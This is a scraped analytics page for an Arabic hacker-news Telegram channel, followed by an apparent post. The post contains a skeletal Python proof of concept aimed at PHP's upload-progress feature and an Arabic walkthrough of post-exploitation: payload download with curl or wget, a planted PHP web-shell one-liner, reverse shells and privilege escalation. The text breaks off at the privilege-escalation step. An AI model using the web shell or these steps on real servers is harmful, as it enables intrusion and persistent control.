Hacker News
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
Show more📈 Analytical overview of Telegram channel Hacker News
Channel Hacker News (@hackernewsar) in the Arabic language segment is an active participant. Currently, the community unites 13 599 subscribers, ranking 9 366 in the Technologies & Applications category and 5 615 in the Saudi Arabia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 13 599 subscribers.
According to the latest data from 26 October, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 317 over the last 30 days and by -1 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 11.36%. Within the first 24 hours after publication, content typically collects 5.30% reactions from the total number of subscribers.
- Post reach: On average, each post receives 1 545 views. Within the first day, a publication typically gains 721 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 14.
- Thematic interests: Content is focused on key topics such as نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
Thanks to the high frequency of updates (latest data received on 27 October, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
import http.client
def send_php2shell_educational_poc(host, port, path):
# إعداد الحدود العشوائية لطلب multipart لرفع الملفات
BOUNDARY = "----WebKitFormBoundaryPHP2Shell"
# صياغة محتوى الطلب الذي يستهدف ميزة تتبع رفع الملفات في PHP
body = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
f"exploit_trigger\r\n"
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="rawkey"; filename="payload.txt"\r\n'
f"Content-Type: text/plain\r\n\r\n"
f"Conceptual_Data_Padding_Here\r\n"
f"--{BOUNDARY}--\r\n"
)
# إرسال طلب POST الفردي غير المصادق عليه مباشرة إلى الخادم المستهدف
conn = http.client.HTTPConnection(host, port, timeout=10)
headers = {
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Content-Length": str(len(body)),
"Cookie": "PHPSESSID=test_session_id"
}
conn.request("POST", path, body=body, headers=headers)
response = conn.getresponse()
print(f"[-] Status Received: {response.status}")
بمجرد أن ينجح المهاجم في إرسال طلب الويب الخبيث وإحداث خلل الذاكرة (Memory Corruption) المطلوب، تبدأ مرحلة التثبيت والسيطرة الفعلية. الطلب الأول يفتح الثغرة فقط، لكن الخطوات التي تليها مباشرة تهدف إلى تحويل هذا الاختراق العابر إلى وجود دائم ومخفي داخل السيرفر.
إليكم الخطوات المتتالية التي يتخذها المهاجم فوراً بعد نجاح ثغرة الذاكرة:
1. تشغيل الـ Payload الأولي (Execution Stage)
عندما ينهار محرك PHP داخلياً بسبب نفاد الذاكرة أو بقاء الحالة العالمية، يجبر المهاجم المعالج على القفز إلى العناوين البرمجية التي تحتوي على الكود الخاص به (Payload). غالباً ما يكون هذا الكود عبارة عن أمر نظام (System Command) بسيط مثل:
• على أنظمة لينكس: تشغيل أمر تحميل برمجيات أوسع عبر curl أو wget.
• على أنظمة ويندوز: تشغيل أمر عبر powershell أو cmd.
2. زرع "الباب الخلفي" المُلتحم بالويب (Dropping a Web Shell)
بما أن استغلال ثغرة الذاكرة معقد وقد لا ينجح في كل مرة، فإن أول هدف للمهاجم هو زرع ملف برميجي دائم (Web Shell) داخل مجلدات الموقع العامة (مثل مجلد الصور أو ملفات رفع المستخدمين).
• يقوم المهاجم بكتابة ملف خفي (مثلاً: image_thumb.php أو .system.php) يحتوي على سطر برمجي بسيط يتيح له التحكم بالسيرفر عبر المتصفح لاحقاً دون الحاجة لإعادة استغلال الثغرة، مثل:
<?php system($_GET['cmd']); ?>
3. إنشاء اتصال عكسي للمخترق (Reverse Shell)
لأن فتح الملفات عبر المتصفح قد تكتشفه جدران الحماية، يفضل المهاجمون المحترفون إنشاء اتصال عكسي. يقوم الخادم المخترَق (الموقع الحكومي أو الخاص) بفتح اتصال خارجي صادر (Outbound) والاتصال بجهاز المهاجم مباشرة.
• تكمن خطورة هذه الخطوة في أن معظم جدران الحماية للشركات تمنع الاتصالات الواردة (Inbound) لكنها تسمح بالاتصالات الصادرة من السيرفر إلى الإنترنت، مما يمنح المهاجم شاشة تحكم كاملة بـ الـ Terminal الخاص بالسيرفر.
4. فحص الصلاحيات ومحاولة الارتقاء بها (Privilege Escalation)
في الوضع الطبيعي، تعمل لغة PHP تحت صلاحيات مستخدم محدود جداً على السيرفر (مثل www-data أو apache).